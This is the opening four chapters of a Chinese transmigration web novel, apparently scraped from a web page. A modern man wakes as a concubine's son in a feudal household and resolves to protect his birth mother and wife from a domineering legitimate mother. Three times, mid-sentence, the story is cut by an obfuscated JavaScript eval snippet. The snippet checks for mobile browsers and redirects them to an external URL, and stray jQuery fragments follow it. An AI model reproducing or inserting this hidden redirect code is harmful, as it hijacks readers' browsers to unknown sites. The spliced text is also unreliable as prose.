《炮灰如何配享太庙（科举）》 1. 第一章 穿越炮灰 “缙儿……缙儿……”一道呼唤声传入耳边，似是带着泪，冰冷汗湿的手在他滚烫的脸上摩挲，伴着阵阵啜泣，本应因车祸死亡的段之缙缓缓睁开眼，心脏忽然骤缩成一团。 眼前的脸，就算是相隔三十余年，段之缙也永远不会忘记，这是妈妈的脸！现在是真实还是梦境，段之缙已经分不清了，他喃喃唤道：“妈……”却被那妇人一把捂住嘴。 “你忘了？只能叫姨娘！”她擦擦脸上的泪水，悲伤一掩不见，转头向身后穿着一身有些旧了的苍葭色长裙，素白着一张鹅蛋小脸的女孩儿说话，“二爷现在醒了，劳蘋儿去告诉老爷和太太吧。” 蘋儿低眉顺目，素帕子在脸上擦了一下，转身出去。 等着屋子里再无旁人了，那脸色憔悴的女人紧紧攥住了段之缙的手，尖锐的指甲几乎要陷到皮肉里。 “我是你的姨娘，你永远都只能叫我姨娘，太太才是你的妈，你的母亲。” 段之缙现在头痛欲裂，还没有弄明白是怎么回事儿，为何自己的妈妈一身古人打扮，为何自己不能再唤她妈妈，便见一位眉目凌厉的妇女被一群仆妇簇拥着走进了内室，而那长相酷似自己母亲的女人，一闪身退到了妇人身后，隐匿在了拥挤的人群中。 太太细长的手抚上段之缙的额，眉头紧跟着一皱，“我看缙儿也无甚要紧的，不必再歇了，喝着药一边温书一边将养，考试要紧。” “倒是你……”贵妇人王虞转过身来，冷森森的目光投向鹅蛋脸女孩，淡淡开口，“你做妻子的，不能规劝丈夫，叫他出去饮酒，结果撞到了脑袋耽误了上进……实在该罚！今儿晚上不许吃饭，去祠堂里跪着！” “是……” “太太！”段之缙听到这才明白了过来，自己不知道占了哪朝哪代哪个人的身子，这个带着些愁苦的女子正是原身的妻子，占了人家的身子，不能叫他的家人再受委屈，因而段之缙急急出声，打断了那女子的话。 “太太叫她去跪了祠堂，谁来照顾我呢？” 他刚才所见，婆媳二人的关系应当十分不好，便是封建社会，也没有说儿子出去胡作非为了，叫儿媳去跪祠堂的，因此并不为她求情，只说自己还需她照顾。 谁知他这一番话，倒叫周围的人面面相觑。这二爷，平时都是太太说什么便是什么，二奶奶受训，甚至是他的生母施姨娘受训都是一言不发，任凭夫人处置，怎么今儿转了性子，插上太太的话儿了？ 王虞也是吃了一惊，脸上便带了点儿戏谑，挑着上斜的眉看他，更显得刻薄，“你今儿？算了……她今儿晚上不许吃饭，留在房里伺候你吧。” 那女子麻木地俯身，“多谢太太。” 微微颔首，转身离去，可王虞走到屋门口将要跨过门槛时，脚下突然停了下来，“别的事儿我不管，缙儿，你得记好了，你一个不得宠姨娘的庶子，能有今日，是借着谁的势。” 一行人浩浩荡荡地离去，段之缙刚要出声唤他的姨娘，姨娘便泪眼蒙蒙地回首望他，眼里说不尽的心酸与爱怜，警告一般轻轻摇头，引得发间素银簪上的那只蝴蝶摇晃两下，然后头也不回的走了。 庶子……。 段之缙还没搞不明白这一切，他挥手叫周围的奴仆退下，又揉了揉额角，跟一旁呆立着的女子招了招手，“夫人，你来。” “你也知道，我出去喝酒撞着头了，现在好多事儿也记不太清，劳烦夫人与我说说。” “二爷问吧。” “刚才太太叫我jin儿，我名中该有个jin字吗？” 女子柔和的面庞带上了狐疑，“二爷名讳是段之缙，这也不记得了吗？” 段之缙的脑子倏忽间嗡了一声，一种不祥的预感涌上心头。他故作恍然大悟，笑着回道：“你一说我便记起来了，夫人名唤沈白蘋，是否？” “二爷记起来了？”沈白蘋点点头，却似一记重锤，将段之缙的心肠一块儿捶了个稀烂。 原来不是穿越到哪朝哪代，是穿书了。 这本书是龙傲天权谋文，《一代天骄》，也就是因为自己和原身重名，所以才有兴趣看了看，谁知把两部书都看完了。 原主是里边的一个小炮灰，一个从五品吏部员外郎的二子，也是凭自己的才能考中的进士，谁知一门心思钻到了功名利禄里边去，倒霉到每次都违逆了男主的意思。 四皇子，也就是男主韬光养晦的时候，他主动找上门去挑唆人家夺嫡；四皇子和诸兄弟斗得你死我活的时候，他站到了二皇子那边；四皇子奉皇命惩治贪官的时候，他又正好在地方为二皇子搜刮民脂民膏，幸得二皇子保他，要不然当时就得死。结果还是没能逃过去，四皇子的铁兄弟，十一皇子从马背上跌落，原主竟然胆大包天上去说闲话，被赶来的男主冲冠一怒为小弟，直接挥刀把头剁了下来。 皇子在众目睽睽之下杀死朝廷官员，这是重罪。可那又怎样，他是皇帝的儿子，皇后养子贵妃亲生，更何况四皇子还拿出了一叠叠他的罪证，把二皇子都拉下了马。 只可怜这个沈白蘋，等着丈夫死讯传来的时候，一根白绫吊死在了房梁上。 可这些都是遥远的，事关姨娘生死的事情却就在当下，原书明明白白地写着，段之缙的生母恰在他要考县试之前意外溺水身亡，导致他守孝三年，及冠之后才去参加的县试。 想到此处段之缙急忙问沈白蘋：“夫人，我原定是什么时候下场去考县试？” “二爷忘了？明年二月就是安平县的县试。” 明年就在眼前了，但凭自己还记得的一些书中的事情，这一辈子离开段家老老实实地从商，想必能保全了母亲和妻子的性命。而段之缙对脱离段家的事情，还是很有把握的。 他回过神看看妻子，笑着说：“白蘋……白蘋……渌水明秋月,南湖采白蘋（1），夫人名字甚美。” 沈白蘋听他似夸赞的一句话，面上却含了些冷意。 不，不是什么渌水明秋月，南湖采白蘋。 “过尽千帆皆不是，斜晖脉脉水悠悠，肠断白蘋洲”（2）才是她的名字。 可这一切都不必和段之缙说，沈白蘋沉默地上前伺候丈夫穿衣穿袜，又被段之缙躲开，他面上还有些不适应，“还是叫我自己来吧，你精神也不好，陪着我说说话得了。” “我虽记起了一些事情，可有些事儿实在没印象了。咱们家几口人？” “二爷真是忘得厉害，小叔们共有两个，还有两位小姑，均是十岁左右的年纪。” 段之缙点点头，也算是放下点儿心来，“咱们家只我读书吗？” “咱们家里，陈姨娘所生的三爷同二爷一样，都在上学呢，准备着明年同二爷一起去县试。” 段之缙深深吐了一口气，“我磕了这一遭，东西也忘得狠了，恐不能得中，以后也不愿去做劳什子官。我们夫妻两个做点儿小买卖，带着姨娘出去单过，好不好？” 这是多好的日子，说得沈白蘋也跟着生了些向往，可她又想想眼前之人往日里的作为，想想主院里的嫡母，心又狠狠沉下去。 竟然信了他的鬼话，两年了，还没看清吗？ “一切都是您说了算。只是得跟太太说明，若是太太不许……” “太太不会不许的……”段之缙安慰她，原书中说了，大哥是嫡母所生，自己是个庶子，虽然按照孝道，父母在不分家，可自己愿意少分一些财产，让给大哥。没有母亲不心疼儿子的，为了他，嫡母也应该同意，届时自己只需要说服父亲。 再说了，从商到底是下贱的营生，他们或许巴不得跟自己划清界限。 “到时候只我们三个人过日子。”段之缙笑眯眯地看着沈白蘋，这个女孩瞧起来不过十八九，自己前世都是四十多岁的人了，看着她仿佛看着自己的小妹妹，若是日后她能觅得良人，自己也陪送她一笔嫁妆，叫她去过自己的日子。而且自己也不是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905994|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子了，必不会同幼时那样的无力，只能看着妈妈被那个畜生磕在地上，额上鲜血如注，渐渐失去了生机。 名义上的爸爸去坐牢，自己成了孤儿。 段之缙陷入过往的回忆无法自拔，外边传来了咚咚的敲门声，一个清清脆脆的小丫头的声音响起，“二爷，二奶奶，该用饭了。” 沈白蘋应了一声，仆妇们推门，鱼贯而入，不一会儿，大大小小的碗碟摆了一桌，不稍作停留，一屋人又退了出去，只留两个小丫头在旁边伺候。 脑子转了这么长的时间，段之缙也是真饿了，自己走到桌前，先喝了一碗白粥，沈白蘋低眉垂首地站在一旁为他布菜，闹得段之缙极不自在。 “不用管我，你也坐下来吃。”他舀了一勺荷叶丸子送到沈白蘋面前，招呼她坐下吃饭，怎么她这个家里的熟人，比自己这个“生人”更生分呢？ 沈白蘋仍是那副死气沉沉的表情，也没有喜，也没有惧，只答道：“太太罚我，我不能不受罚。” 段之缙讶然，她倒真是听话，只是这样瘦弱，再饿一顿到底对身子不好，于是故意做出一副苛刻的样子来哄她，“那这样，瞧你的小身板，也吃不了两碗饭，今夜先罚你吃两碗饭吧。” 两个侍立的小丫头都是跟着沈白蘋嫁到段家来的，听着这话相视一笑，只以为自家小姐苦尽甘来了。 沈白蘋也被逗了一下，坐下端起那碗荷叶丸子，就着吃起了粳米饭。 段之缙上辈子便是个劳碌命，一天天看不完的文件签不完字，因而吃饭总是争分夺秒，没一会儿两碗粥下肚，又用了些素菜。 刚刚醒来，不敢用的太油腻。 沈白蘋却跟小猫儿一样，东西进了嘴中，一丝咀嚼的声儿也没有，进东西也不快，虽然已经很长时间没有吃过一顿安生的饱饭，但瞧见段之缙放下了碗筷，沈白蘋还是立刻停筷，半碗饭都没下去。 “你管我干什么？你吃你自己的。” 沈白蘋仍是那副冷冷清清的样子，“这不合规矩，二爷放下了筷子，没有我们再动筷子的道理。” “那从今往后再没有这样的规矩，新规矩便是每顿至少吃上一碗饭。” 就因为吃饭这个事儿折腾了一会儿，等着饭菜都撤下去的时候，天都已经黑了，月亮斜斜地从东边升起，也洒不出多少的光辉。 和段之缙分开沐浴，沈白蘋闷闷地浸在浴桶中，一言不发，她的两个小丫头春华、秋实却叽叽喳喳个不停，从天南聊到海北，又说起了今天晚上的事儿。 “二爷磕了一下脑袋，倒像是磕清明了，对二奶奶好了不少。” “咱们二奶奶这么好，二爷待二奶奶好都是应当的，待她不好才是不应当！” “那是因为他磕糊涂了，忘了许多事。”沈白蘋淡淡开口，即便今日被善待了，也无甚值得欣喜的。 春华瞧出来她不高兴，安慰道：“那也是二奶奶的福气，虽说二爷忘了许多事儿，但待您好不就成了？” “只怕是江山易改，本性难移。”沈白蘋已经不敢信任何人了，这世间的女子就是这般的可怜，在家从父，出嫁从夫，夫死从子，中间若有一个靠不住，便苦不堪言。 她的外祖母孟氏孝淑夫人是先皇的乳母，受到种种恩待，可先皇一去世，外祖杨家便大不如前了，一年前外祖母去世，葛礼即刻参劾了她的舅舅杨孝和贪污，不出一月杨家便被抄家，母亲也抑郁而死。 段家…… 段家本来便是想要沾外祖母的光才来求娶，谁料想孝淑夫人去世那么快，杨家也顷刻间覆灭，而自己的父亲连丧期都没过便续弦了。 沈白蘋知道她是多余的人，嫡母这辈子全靠着段之缙，一门心思地要磋磨死自己，好再为段之缙聘妻。 而她的丈夫，是个活畜牲，为了讨好嫡母，连亲娘都不闻不问。 沈白蘋已经不敢奢望其他，就盼望着真能像浮萍一般，苟且偷生便好。 2. 第二章 决心出走 段之缙此时也沉在浴桶里，他贴身伺候的小书童松烟正给他擦背。四周一片寂静，只剩下哗啦啦的水声入耳，段之缙疯狂回想着书里的一切。 可惜，原身只是个小配角，作者多一点儿笔墨都不愿意，段之缙现在能想起来的，就是原身做的那些糟烂事儿，和在原身死后，原身的父亲因为教子不严也被革职抄家了。 只是奇怪得很，从今天来看，原身和他的妻子关系应当也不怎么好，为何沈白蘋愿意殉死呢？ 算了，多想无益，左右明日自己就去拜见太太，跟她说明一切，从此自己和段家再不相干，和那些争争斗斗也都再不相干。 “二爷，二爷……”松烟轻轻地唤他，段之缙从沉思中醒来，被裹上厚重的皮毛吸干身上的水分，泼墨缎子一般的长发叫两个小厮抱在怀里擦拭。 面对着的镜子，段之缙也才真正清楚了自己的模样。 干了那么些的畜生事儿来，姨娘倒给他生得一副好皮囊。 剑眉斜飞入鬓，一双丹凤眼，该是很不易亲近的相貌，偏偏眼睛亮的惊人，水盈盈一片，叫人心生亲近。更妙在唇角天生上扬，不笑也带着三分笑，唇色淡粉，带些女气。 这个唇……这个唇和姨娘很像。 终于收拾利索，一根木簪把头发盘起，段之缙拱着布鞋进了内室，沈白蘋已经坐在了床上，一身藕荷色寝衣，双手交叠放在大腿上，即使周围只剩下春华、秋实，她仍是垂首低眉。 只是恭顺也盖不住她的美貌，再一抬首望过来，段之缙就算知道了什么叫“眉如远山横黛色，眼似秋波流盼时”。 “二爷。”沈白蘋轻唤，上前脱下了他外边的褂子，两人一起躺在床上。 如今还是盛夏呢，夫妻二人各盖着一床纱被，可段之缙还是能闻见轻飘飘的香气伴着清浅的呼吸从身旁传来， 说实话，这是他头一遭和一个女孩儿什么都不干，就只躺在床上睡觉，因而翻来覆去，好长时间都无法入眠，月亮下了，天边见亮的时候，段之缙才迷迷糊糊睡了片刻，又醒了一个大早，去给太太请安。 “二爷真不打算科考了吗？”沈白蘋纤纤素手给段之缙把头发束好，又用一根玉簪子固定住。 “是，我伤了脑袋之后读的书都忘得差不多了，与其去科考，不如行商，若是成了，虽说不如官宦人家显赫，可也衣食无忧。即便一开始困难些，我也绝不叫你和姨娘吃苦。” 沈白蘋看着他跟以往绝不相同的坚定眼神，再次升起了一点儿希望。若是这次真的能成，只要离开了段家，不叫自己再去受嫡母的磋磨都是好的，哪怕叫自己去吃苦，浆洗衣服、缝缝补补都行…… “二爷，我等着你回来。”她头一回盼望要离开的丈夫回来，头一回倚在门上望着，望着段之缙的身影走向主院，一点点看不见。 段宅也不是很大，穿过两条回廊便到了主院，段之缙理了理衣服，在院门口跟守门的仆妇吩咐道：“你去禀报一声，缙儿来给太太请安。” 仆妇进去禀报，不一会儿嫡母王虞身边的许嬷嬷便出来引他进去，“太太的心情不好，二爷进去了小心说话。” “多谢嬷嬷。”段之缙随口答谢。 心情不好没事儿，等着知道了我不与她儿子争的消息，心情大概便好了。 进到正堂，王虞正在喝茶，而他的生母施姨娘正在端茶递水，小心侍候主母。不施粉黛，不佩钗环，连昨日那支做工不甚精巧的素银簪也没戴，可那双泪目，仍然盈盈地望过来，随着嫡母的一声咳嗽受惊般地收回去。 段之缙跪下恭恭敬敬地磕头，嘴上道：“给太太问安，太太近日身子如何？”然后他顿了一下，微微移了身子，又朝着施姨娘磕了一个头，“给姨娘请安。” 所有人都愣住了，然后疯狂地挤眉弄眼。笑话，这宅子里谁不知道，二爷是个要前途不顾亲娘的，施姨娘在太太身边跟奴婢一般，二爷问安的时候从不带着他的亲娘。 也是，有奶的才是娘，太太是嫡妻，能给二爷的太多了，他是不会为了一个通房丫头抬上来的姨娘去戳嫡母的眼眶子的。可今日是撞了什么邪？如何给他的亲娘都请安了？ 王虞从喉咙间挤出一声冷哼，慢慢开了口，“如何叫你这样的大孝子来母亲这儿请安了？还是有什么请求，说吧。” “儿子有一事要禀报太太。儿子不孝，饮酒磕伤了头，如今身子还不是很爽利，明年二月的县试恐不能得中，且儿子实在无心仕途，想要行商。只是咱们是官宦人家，行商到底是辱没了门楣，加之祖父母已经过世，儿子想要带着蘋儿跟姨娘出去单过，至于应得的分家财产，儿子只要一半，剩余的给兄弟们分。”段之缙一板一眼地说着，谁知四周连呼吸声的都放缓了，王虞也是一言不发。 心中有一丝不祥的预感，段之缙抬首去看，自己的亲娘施姨娘已经跪在地上瑟瑟发抖，周围的仆妇也都凝神屏气，不敢发出一丝声响。 事情已经出乎了段之缙的预料，可箭已经射了出去，没有回头路。 “太太意下如何？”段之缙又问道。 王虞静默了一会儿竟然轻笑出声，茶碗放在紫檀木桌子上发出一声清脆的响，她回道：“你长大了，有自己的想法，我这个做母亲的也不能干涉。这个段家其实也没什么钱，你父亲从五品的官能值个什么？但母亲好歹把你当亲生的儿子养了整整八年，不能看你拿着那点钱出去受苦……可怜天下父母心呀，我想你读书科举，你却不往正道上走。这样吧，我剩下的嫁妆你带走一半，带着你的媳妇好好过日子。至于施姨娘嘛……”王虞说到这里骤然停住了，她两指捏着茶碗盖掀开，施姨娘即刻便从地上爬起来添茶。 “你怕真是磕得糊涂了，施姨娘是我从你外祖家带来的家生子，卖身契还在你外祖家呢，你怎带的走她？再说了，她自我待字闺中便伺候我，至今也得有近三十年了，我怎么离得开？”王虞戏谑地看向段之缙，果然见他捏紧了拳头。 小娃娃，想跟你母亲耍心眼，我什么阵仗没见过？ 虽然不知为什么， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905995|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞到了脑袋偏偏把他的良心磕了出来，但此时施姨娘握在手里，的确叫王虞放心许多。 现在只差一把火了。 王虞突然发怒，将新倒上来的茶水全泼到了施姨娘身上，冷笑一声，“怎么？给老爷生了儿子，便真以为自己是主人家了？以为自己能离了主子单独过活？哼，你想清楚了，不光你的卖身契，你全家的卖身契都捏在我娘家！今儿倒的茶这样烫，明儿岂不是要掐死我！”她怒完，朝着许嬷嬷使一个眼神，许嬷嬷便一个巴掌掴在了施姨娘面上，将她打得头发都散落下来，身子倾倒，又赶紧跪端正。 “太太！”段之缙扑过去挡在施姨娘身前，差一点便要还手，可长时间理智压过感性的日子强逼着他勾起来一个笑，“太太，儿子一时想差了。万般皆下品，唯有读书高，明年的县试，儿子一定能得中！” 王虞的脸上瞬间变得平和，她勾出来一个刻薄的笑，又叹了一声，“你能想通就好，做父母哪有不盼着孩子往正道上走的。但愿你明年过县试。” “儿子还有一事相求。” “你说便好了。” “求太□□准，让姨娘回儿子的致知斋照顾儿子。” 王虞看了看许嬷嬷再次添上的茶，碧螺春翠绿微黄，清澈鲜艳的茶汤倒映出她带着细纹的面容。 怎么如此老了？王虞突然感到一阵泄气，抿了一口茶水，赤红色的口脂将倒影推开，她轻声道：“你院试通过的时候，母亲便叫施姨娘搬去你院子旁边的翠微院住。若能中举，母亲便叫你外祖送施家来京。”可没一会儿她又提起了神，面带讥讽，“大孝子，你给为娘的问了个好安，退下吧。” 段之缙还想再求，姨娘是溺水而亡，自己每日看着她必不会叫她出事，可王虞微阖上了双目，茶碗里的氤氲水汽叫她的神色怎么也看不清，“你要是再多少一句话，你的姨娘不知道要遭什么罪。” 段之缙受制于人，深深看了一眼身后的施姨娘，咬紧了牙关才忍住了心中的怒火退下。 王虞睁开了眼睛看着这个熟悉但又有些陌生的儿子，眼珠缓缓下移，看了一眼脚边瑟缩的施姨娘，突然叫起了十几年的称呼，“小施，去看看你的儿子吧。” 施姨娘眼里含泪，却扬起一个笑脸儿，“太太说什么呢？缙儿该是太太的儿子。” “我没在试探谁，你去吧，好好看看他，你该是熬出头了。”可她呢，她的苦日子，似乎还长着呢…… 施姨娘又惊又喜，自从缙儿送到了主院，又分去了致知斋，她已经数不清多少年没细细看过儿子，感激涕零地向主母磕了一个头，也顾不得体面，披头散发地奔了出去。 “缙儿！”施姨娘声嘶力竭地喊，段之缙顿住，惊讶地回过身来。 施姨娘见儿子停住，仔细理了理头发，缓步走上前去，日子总是这样的苦，叫她眼里含着一层水，可在儿子眼里，她总是盼望自己能体面些。 “缙儿……” 她一唤，段之缙便控制不住地上前，眼睛也有些酸涩。 3. 第三章 段父其人 “缙儿……叫姨娘好生看看你……”施姨娘的手在虚空比划，似要去抚摸他的脸却又徒劳地放下。 “姨娘上次好好看你的时候，缙儿似乎才十岁呢。”她脸上绽出来一个笑，泪却簌簌滴落，一缕碎发沾到面上又被手捋到耳边。“你要是真想要行商，就不要管姨娘了，带着你的媳妇和太太承诺给你的银子走。姨娘本来就是太太身边的奴婢，你叫我离了太太，恐怕我自己都舍不得……” “姨娘……娘……”段之缙是孤儿，一个人闯荡成一方巨富，什么苦没吃过什么罪没遭过？他从不说一声苦，不叫一声累。可望着这个面带疲惫，明明只是和妈妈长得相像的姨娘，却给了他几十年前母亲的感觉，也或许，他就是妈妈的前生。 “娘，你且等着儿子，我一定叫你离了主院！”这句承诺，段之缙是恶狠狠地从牙缝里挤出来的，施姨娘却笑着摇了摇头。 “你不要怨恨太太，她是你的嫡母，一个孝字压死人。她也是可怜的人，待字闺中的时候，段家不过是普通乡绅人家，王家行商，早就富甲淮宁省了。老爷中了秀才入我王家求娶，王老爷爱重太太，把她嫁了过去，以为能在高中之后也叫女儿得封诰命……” “谁知，你父亲真面目露得这样快，太太还怀着孕他便想同房……夫人才生下了你大哥，老爷便纳了陈姨娘，我又紧跟着有了身孕，生下了你。那个时候，你嫡兄纹儿，才刚满了周岁。” 段之缙冷嗤一声，“这样，她便能耍她的主母威风，虐待你，欺辱蘋儿了吗？” 施姨娘的眉头紧紧蹙了起来，“不要这样说，姨娘永远记得太太的恩德。那年得时疫，各家各户都在丧子丧女，满城的大夫都不够用。你和纹哥儿一块儿患上了时疫，当时你气都喘不动了，纹哥儿倒还好，她先叫大夫来咱们这儿看病，谁知道纹哥儿的病坏得那么快，还没等着大夫给你看完，纹哥儿就没了……” 嫡兄已经逝世了？！ 段之缙心脏砰的一声。 怨不得……嫡母不为所动，就算是自己少要了家产，也不过是便宜了其他庶弟，她还是捞不到一点儿好处。 施姨娘说着，眼泪便落了下来，又想再说些什么，许嬷嬷便在身后遥遥地唤她。 不能再拖了，施姨娘深深地看着段之缙，恨不得把他刻在心里，最后哽咽着说了一句，“好孩子，回去吧，不要再管姨娘了，姨娘是有业障的人，应该留在太太身边赎罪。”语毕，她似要转身离去，段之缙却拉住了她，神色一派凝重，“姨娘，你千万要记住，不要往水边走，水边多湿滑，小心身子。” “别担心，姨娘从小在水乡里长大，如何能不会水呢？” 施姨娘宽慰了他一句，然后转身离去，深深的大院锁住了她的前半生。 段之缙却愣在了当场。 会水？ 但是溺亡了？ 段之缙明知道很多溺亡的人都是会水的，可这一切都太巧合。 偏偏是在县试之前溺亡，偏偏溺死的人会游水…… 沉思着走在回去的路上，同样的路程，明明来时两条回廊那样的短，怎么回时却走不到头了呢？ 段之缙刚刚入了致知斋的院门，沈白蘋便克制不住地上前询问。 “二爷，太太答应了吗？” 段之缙回过神，瞧那双期待的眼睛，他要如何回话？ “母亲答应了……” 话尚未说完，沈白蘋的眼睛里似要刺出光来，可之后的话，又叫她不知心里是何滋味了。 “但我还是要去科考。姨娘她的卖身契尚在外祖家，我不能这么舍了她独自出去。你……你若是不想呆在段家，我写与你和离书，钱财我也定不委屈了你。” 和离……和离了她又能去哪里呢？沈家早已不是她的家，自己在段家受的这些磋磨，沈家也只当不知。 外祖家……舅舅一定能够善待自己，可被抄家后生活困苦，已经过江回到淮宁，自己去也不过是添一个累赘罢了。 沈白蘋眼里的光黯淡下去，摇了摇头，“和离我又能去哪里呢？哪也不是我的家……”她等了一上午，本以为自己能等得一个出路，结果却又是空欢喜一场。 怎么就成了这样呢？ 段之缙看着沈白蘋跟魂一样飘悠悠地荡走，终于体会到了什么是肩负重任。 在现代没发迹的时候，段之缙是一个人吃饱全家不饿。后来发迹了也是形单影只，那些激情的时刻也不过是露水情缘，哪天就算是猝死了，也不过是自己的烂命一条。如今，段之缙一个人牵连着两个女人的活路，若是自己不能咬住牙走完这一程科举路，她们二人，恐一辈子都没有好日子过。 “沈白蘋！”他叫住了她，望着那个纤细的身影，十八九的女孩，在他的那个世界，正是读书学习的好年纪，每天要忧愁的不过是今天三顿饭要吃什么，和考试能不能过，怎么这个女孩便活的这么苦，这么累？ “夫人，那便留在段家吧，我必不会再叫你受委屈。”段之缙郑重其事的说，也不能推定沈白蘋一定相信他，但这一日他的确背负起了两个女人的命运，这一路也只能进不能退。 沈白蘋心头酸涩，她回头看着自己早就不敢相信的丈夫，他的眉眼处俱是坚毅，瓮声瓮气地嗯了一声。事情如何，也由不得她选择，只是他今日能为了施姨娘放弃自己的打算，便暂且也信他一回。 “二爷，你一定要好好地……好好地护着我。” 段之缙笑了笑，坚定地点头。 只是现在并没有什么时间去叫他多愁善感，距离明年二月份县试不过七个月，如何能在七个月间脱胎换骨，从一个现代人成为熟读四书五经之人呢？ 并且吃一堑长一智，段之缙将书中的内容直接套到了现在的世界里，的确嫡母有一个自己的亲生子，可书中压根没说这个嫡子已经身亡，他的死甚至与原身逃脱不了关系。也难怪，原身不过是一个小炮灰，他的作用就是给了男主搬倒二皇子的由头，作者何必去写的那么详细？ 当前，最要紧的事情是先把施姨娘弄到眼前看着，自己科举的事情未必不能是和太太谈判的筹码，可首先要把家里的事情弄明白，为什么太太对原身科举的事情执念如此之大。 段之缙拉着沈白蘋坐下，笑道：“夫人也知我忘了许多事，今儿见了太太差点闯下大祸，还劳夫人把咱们府里的事儿都与我说清，尤其是为何太太一定要我去科举。” 沈白蘋摇摇头，“二爷，我入段家门也不过二年，只知道太太是想叫二爷做一番事业出来，好叫她得封诰命。” “诰命？” 为何这般的执着于诰命？ 段之缙再次询问，沈白蘋却也说不出什么了？ “我不知道，二爷何不去问问刘妈妈？他是二爷的乳母，二爷一出生便在身边伺候，料想妈妈知道的应当多些，正巧她去看刚生产完的女儿，今儿便能回府。” 夫妻两个正说着话，外边松烟就隔着门报，“二爷，老爷回来了，遣肖大爷叫您去书房问话。” 段之缙听着一脑门的问号，沈白蘋知他又不知道这是谁了，连忙解释，“肖伯是咱们家的老人了，在老爷身边伺候，你待他要客气些。去了书房，老爷叫你如何你便只管答应，三叔得些什么，又当如何的，咱们不去管，你考试才最重要。”她说着话，又给段之缙理了理衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905996|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，轻推着他出门。 段之缙自然听懂了她的弦外之音，看来这个父亲很是偏向原身的三弟。 现在想不得那么多了，这个孝字压死人的世界里，父亲等着儿子可不像现世那般稀松平常，段之缙出门跟肖伯打了个招呼，两人便脚步匆匆地去了书房。 “儿子见过父亲。”段之缙跟这个陌生的中年男子问好，不动声色地打量了一番。在旁边坐着的一个轻轻瘦瘦，眼下两团青黑色的男孩也站起来同他问安，“见过二哥。” 不知这男孩儿是哪个弟弟，段之缙赌了一把，颔首回道：“三弟。”幸好赌对了。 再去看看这个原主的父亲，段父段成平今年已经四十三岁了，身量高挑也不甚衰老，见了昨日转醒的的儿子并不见有什么欢喜的模样。 “缙儿，你的母亲来与我说，你的伤处好得差不多了？” “儿子的伤势已无大碍。” 段成平捋了捋山羊胡，点点头，又说道：“你既然好了，那么功课也得拾起来。你母亲从淮宁安平县请的夫子，明日便重新回来授课，为父想着，虽说这夫子是你外祖家请来送入京的，可到底也是给咱们家请的。你三弟明年与你一同县试，不若便由这个夫子一同授书吧。” 段之缙无可无不可，但他知道夫子是由外祖王家请的，按照施姨娘的说法，嫡母与段父的关系应当相当恶劣，也不一定喜欢这个三弟，因而不敢许诺。 他脸上带着一个得体的笑，垂首道：“老爷说的极是，三弟、四弟都是自家的兄弟，叫夫子一同授课都是应当的。老爷太太既然已经决定好了，明日请夫子一同授课便是。” 段成平不自在地咳了一声，“你母亲不知道这个事情，为父还尚未与之商量。这也都是小事，也不必再去扰了她的清净。先这么上着吧。” 段之缙故作惊讶，“太太对待我们这些儿子一向慈爱，何种小事在太太眼中不是大事？老爷若是公务繁忙，儿子自去告知太太。” 段成平看看眼前这个木木呆呆不知变通的儿子，火不打一处来，嗔道：“这般聒噪！你连为父的话都不听吗？” 段之缙做手足无措状跪下，“老爷这是何意？夫子授课这般的大事，难道能不叫太太知道吗？还是其中有何隐情，不是儿子能揣测的？再说，这不过是一句话的事情，儿子明日给太太问安时告知即可，不劳老爷。” “罢了！都回去吧！”段成平也是叫老二闹得为难，他是真不愿意见王虞那张冷面，他这辈子的脸面全都丢在了王虞身上，因而也顾不得昨夜陈姨娘如何请求，叫两个儿子一起退下。 老三段之纬还想开口说些什么，被父亲瞪一眼也只能黑着脸退下。 兄弟两个一前一后出了书房，段之纬哼笑一声，“二哥，没想到您有这般的辩才。” 段之缙笑眯眯地回首，歪着脑袋无辜地看向原主的三弟，疑惑地问道：“三弟这是何意？还是三弟知道什么隐情，授书这件事真的不能叫太太知晓？” 段之纬脸儿一沉，手指指向段之缙，牙都咬紧了。 段之缙微笑着握住他的手指，“你也是读书人，难道不知道要尊重兄长吗？拿手指你的二哥，这便是你读的书吗？” 打蛇打到七寸，段之纬咬牙切齿了一顿，什么话也没说，抽出自己的手指便匆匆离去，留段之缙一人在身后慢慢思索。 看来，嫡母虽然与父亲关系不睦，可在这家中绝对有几分地位，甚至父亲和几个庶子在一些事儿上还得瞧着她的脸色。 一个被丈夫厌恶的女人，在这样吃人的封建社会守着一大笔嫁妆，她是怎么做到不被剥皮抽筋，连着血沫子一块儿舔干净的…… 4. 第四章 段家往事 段之缙一回房，沈白蘋便上来问询，他安慰地眨眨眼，“明日夫子来授课，老爷想要三弟同我一起。话说起来，我连两个弟弟的名字都忘了，又要烦你告诉我。” 